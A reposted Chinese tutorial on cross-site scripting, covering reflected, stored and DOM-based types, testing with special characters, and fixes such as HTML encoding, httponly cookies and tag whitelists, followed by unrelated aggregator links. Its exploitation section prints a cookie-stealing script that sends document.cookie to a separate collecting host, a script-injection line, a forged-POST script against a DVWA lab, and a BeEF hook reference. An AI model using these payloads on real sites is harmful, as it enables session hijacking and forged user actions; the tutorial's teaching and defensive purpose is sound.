转:https://www.jianshu.com/p/75a3d9332b8c

XSS知识大总结

2016.10.28 21:05* 字数 1332 阅读 961评论 2喜欢 13

XSS-即Cross Site Scripting. 为了与"CSS"不混淆,故简称XSS.

 
Hacker

一、XSS形成原理及分类

  • XSS本质:系统将用户输入的脚本代码(JS, Flash script)执行了,违背了原本接收数据的本意。从而造成了一些违背系统愿意的后果。
  • XSS根本原因:系统没有对用户输入数据进行编码,转义,过滤限制等处理。
  • XSS三类:
    先说下浏览器与服务器架构层次:***User - IE(Chrome) - Java/PHP/Python - DB ***
    • 反射型:非持久型,在上面的四层架构中,用户使用浏览器,然后浏览器发送请求到服务器后台的Java或者PHP,或者Python,然后服务器逻辑程序返回响应结果,传送到客户端浏览器显示。
    • 存储型:持久型,在上面四层架构中,用户使用浏览器发送请求到服务器,应用逻辑向数据库存取数据,(XSS代码存储在DB中),再经过应用程序发送响应传送到浏览器显示。
    • DOM-Based型:非持久型,在上面的四层架构中,只涉及用户浏览器,变化只发生在客户端的JS与HTML之间。不涉及服务器交互。

二、XSS如何测试

因为XSS形成的原因是系统未对用户输入数据进行处理,直接记录在系统内,又因为前端代码在浏览器可见,所以应该很容易想到直接输入特殊字符“<'>/"&”,然后查看网页源代码,看自己输入的字符显示的是否是经过处理后的。如果没有转义,编码,那么可以断定该页面存在XSS漏洞。
之所以测试这6个字符是否被编码,是因为这6个字符如果未被编码,未被转义,那么系统就很容易存在html标签被闭合,插入类似“<script>脚本”的问题,那么就存在着极大的XSS漏洞风险,容易被非法用户利用。

三、XSS如何修复

  • (1)编码:
    从上面的问题就可以得知,如果经测试存在XSS漏洞,则说明系统未对用户输入数据进行编码转义,那么相应的作为安全人员,就应该给开发人员通知,改进相应的模块,加入对用户输入数据编码过滤处理的逻辑,从而修复漏洞。一般来说,对用户输入的数据,尤其是这6个字符:>'&/<",具体编码目标格式应结合具体情况而定,对相应数据进行HtmlEncode,JavascriptEncode,URLEncode,甚至对CSS里的数据运行相应的OWASP ESAPI中的encodeForCSS()函数。具体用哪一种编码方式,需要看系统将数据输出显示在哪个位置,是JS里,是HTML里,还是CSS里。
    举例来说,如果是HTML编码,相应的,应该对这6个编码为:
标签 HtmlEncode
< ** &lt;**
> &gt;
& &amp;
" &quot;
' &#x27;
/ &#x2F;
  • (2)小而有用策略
    因为有利用XSS截取Cookie的,所以可以将cookie标记为httponly,这样JS不能获取,也可以将cookie与客户端的IP绑定,从而就算盗取也没用。
  • (3)黑白名单过滤输入
    因为<script>等标签对于留言板,评论等内容来说,很容易存在XSS注入,所以设置白名单,只允许信任的标签输入,类似:<a>,<img>,<div>等。优先选择白名单策略,因为黑名单可能会漏掉一些可能的注入情况,当然白名单也不是万无一失,需要定期更新排查。

四、XSS如何如何利用,有哪些利用方式?

  • (1)窃取cookie,直接登录用户账户(cookie欺骗);
  • cookie窃取,一般是利用存储型漏洞,利用代码如下:
    (代码目录)127.0.0.1/evil/evil.js Payload代码如下:
var img = document.createElement("img");
img.src = "http://127.0.0.2:2000/cookie/"+escape(document.cookie);
document.body.appendChild(img);

则在留言板中嵌入代码为:

<script src="http://127.0.0.1/evil/evil.js"></script>
  • 当然cookie获取需要自己在服务器接受数据,开启路径接收请求:

     
    后台接收路径

    接收结果:

     
    cookie窃取结果
  • (2)伪造请求,用JS模拟用户发送post/get请求,自动删除信息,自动发消息等;
    "Code目录127.0.0.1/evil/hack_post.js" :

var url = "http://127.0.0.1/dvwa/vulnerabilities/xss_s/"
var postdata = "txtName=Hacker&mtxMessage=Hacker+is+coming,+I+am+Liuning.&btnSign=Sign+Guestbook"; // post数据格式与get一样 var xmlhttp = null;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if(xmlhttp!=null){
xmlhttp.open("POST", url, true)
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
xmlhttp.send(postdata)
}
else{
alert("Your browser dosn't support XMLHttpRequest.")
}
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
alert("Hack 2 success!");
}
}

面板注入代码:

 
注入XSS

刷新结果:注入成功!

 
post请求伪造,每次刷新弹出success,多条记录
  • (3)钓鱼:(用一个假页面或弹窗伪造真实应用,欺骗用户账号密码)

五、XSS利用工具:BEFF,POC

Beff相关内容可以安装Kali(Debian发行版)系统,一应相关安全利用工具都随系统安装完善。
Kali系统的相关工具类似Beff,提供的是现成的XSS脚本,如默认的"127.0.0.1:3000/hook.js",直接将这个链接注入到面板中就好。即工具的作用是不用自己写注入脚本(Payload)了。

转:XSS知识大总结的更多相关文章

  1. FPGA知识大梳理(四)FPGA中的复位系统大汇总

    本文整合特权(吴厚航)和coyoo(王敏志)两位大神的博文.我也很推崇这两位大神的书籍,特权的书籍要偏基础一下,大家不要一听我这么说就想买coyoo的.我还是那一句话,做技术就要step by ste ...

  2. MySQL系列(一)--基础知识大总结

    MySQL系列(一)---基础知识大总结 前言:本文主要为mysql基础知识的大总结,mysql的基础知识很多,这里只是作为简单的介绍,但是具体的细节还是需要自行搜索.当然本文还有很多遗漏的地方,后续 ...

  3. 转帖--计算机网络基础知识大总汇 https://www.jianshu.com/p/674fb7ec1e2c?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

    计算机网络基础知识大总汇 龙猫小爷 关注 2016.09.14 23:01* 字数 12761 阅读 30639评论 35喜欢 720 一.什么是TCP/IP 网络和协议 1.     TCP/IP是 ...

  4. 《.Net 的冰与火之歌》寄雁传书,你必须知道的C#参数知识大盘点

    引言 参数,也叫参变量,是一个变量.在方法签名中随处可见,实现了不同方法间对于数据的寄雁传书,基本上充斥在代码的各个角落里.在方法签名或者原型中,方法名称后的括号包含方法的参数及其类型的完整列表.参数 ...

  5. FPGA知识大梳理(一)对FPGA行业的一点感言

    今天想开始把这FPGA行业的知识点做一个大整理,从个人感想,到语法,到器件基础,难点攻克,到项目应用.把自己这几年接触到的知识做一个全面的回顾,看看自己这几年走过的路. 人生无常,几年的跌跌撞撞勉强算 ...

  6. SpringMVC知识大览

    SpringMVC大览 springMVC的基础知识 什么是SpringMVC? springmvc框架原理(掌握) 前端控制器.'处理映射器.处理适配器.视图解析器 springmvc的入门程序 目 ...

  7. 线程高级应用-心得6-java5线程并发库中同步工具类(synchronizers),新知识大用途

    1.新知识普及 2. Semaphore工具类的使用案例 package com.java5.thread.newSkill; import java.util.concurrent.Executor ...

  8. [转]eoe社区cocos2d-x游戏引擎知识大汇总

    [eoeAndroid 社区]特意为大家汇总了cocos2d-x知识贴,分量十足,纯正干或.从基础教程到游戏应用的开发,我们不让知识流失,我们要做知识的搬运工还有加工 师.希望大家能够一起的学习,和大 ...

  9. STL六大组件之——容器知识大扫盲

    STL中的容器主要涉及顺序容器类型:vector.list.deque,顺序容器适配器类型:stack.queue.priority_queue.标准库中的容器分为顺序容器和关联容器.顺序容器(seq ...

随机推荐

  1. u3d摄像机截图

    using System; using UnityEngine; using System.Collections; public class TestCamreaCapture1 : MonoBeh ...

  2. pthread在Qt+Windows下的使用

    pthread是牛逼的跨平台线程库,无需多介绍. 下载pthread-win32,解压后将x86里的pthreadVC2.dll放到system32目录里,将pthreadVC2.lib放入项目中去, ...

  3. Python学习笔记(二十五)操作文件和目录

    摘抄:https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/0014319253241 ...

  4. k8s+docker学习连接汇总

    http://guide.daocloud.io/dcs/docker-9153982.html http://www.dczou.com/viemall/802.html https://wangl ...

  5. DOM操作二三事

    我突然想起了append(),但是我记不太清它是原生JS的还是jQuery封装的,貌似是JS的,咦?那它在jQuery里叫什么来着?哎呀!记不清了!确定append()是JS里的?不是jQuery里的 ...

  6. MongoDB中的基础概念:Databases、Collections、Documents

    MongoDB以BSON格式的文档(Documents)形式存储.Databases中包含集合(Collections),集合(Collections)中存储文档(Documents). BSON是一 ...

  7. 【leetcode 简单】 第三十五题 环形链表

    给定一个链表,判断链表中是否有环. 进阶: 你能否不使用额外空间解决此题? /** * Definition for singly-linked list. * struct ListNode { * ...

  8. 天梯赛 L1-006 连续因子 (模拟)

    一个正整数N的因子中可能存在若干连续的数字.例如630可以分解为356*7,其中5.6.7就是3个连续的数字.给定任一正整数N,要求编写程序求出最长连续因子的个数,并输出最小的连续因子序列. 输入格式 ...

  9. 在mac上安装ruby

    1.先装RVM,一个多版本ruby环境的管理和切换工具 curl -sSL https://get.rvm.io | bash -s stable 会自动装上最新版.更新RVM版本:$ rvm get ...

  10. Master of Phi (欧拉函数 + 积性函数的性质 + 狄利克雷卷积)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6265 题目大意:首先T是测试组数,n代表当前这个数的因子的种类,然后接下来的p和q,代表当前这个数的因 ...